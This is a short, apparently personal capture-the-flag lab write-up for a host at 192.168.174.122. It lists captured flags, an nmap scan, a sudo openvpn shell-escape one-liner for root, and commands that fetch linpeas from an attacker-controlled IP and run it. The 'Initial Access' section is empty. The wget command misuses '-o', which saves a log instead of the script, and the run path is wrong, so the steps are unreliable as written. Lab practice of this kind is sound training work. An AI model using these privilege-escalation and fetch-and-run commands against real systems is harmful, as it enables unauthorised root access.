192.168.174.122 (VPN)

Flags Obtained

Local:
    10864a66079588c1e5462b43c637c78f
    
Root:
    5d3e3218ad60485bf98e34e03058f07b

Enumeration

sudo nmap -sV -sC -sT -T4 -A -p- --open 192.168.174.122 -Pn -o target.122map

Identified usernames offsec and joe on 192.168.174.121

Exploitation

Initial Access

Privilege Escalation

sudo openvpn --dev null --script-security 2 --up '/bin/sh -c sh'

Admin Enumeration

wget https://github.com/peass-ng/PEASS-ng/releases/download/20250106-5a706ae2/linpeas.sh

wget http://192.168.45.239/linpeas.sh -o /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh
./tmp/linpeas.sh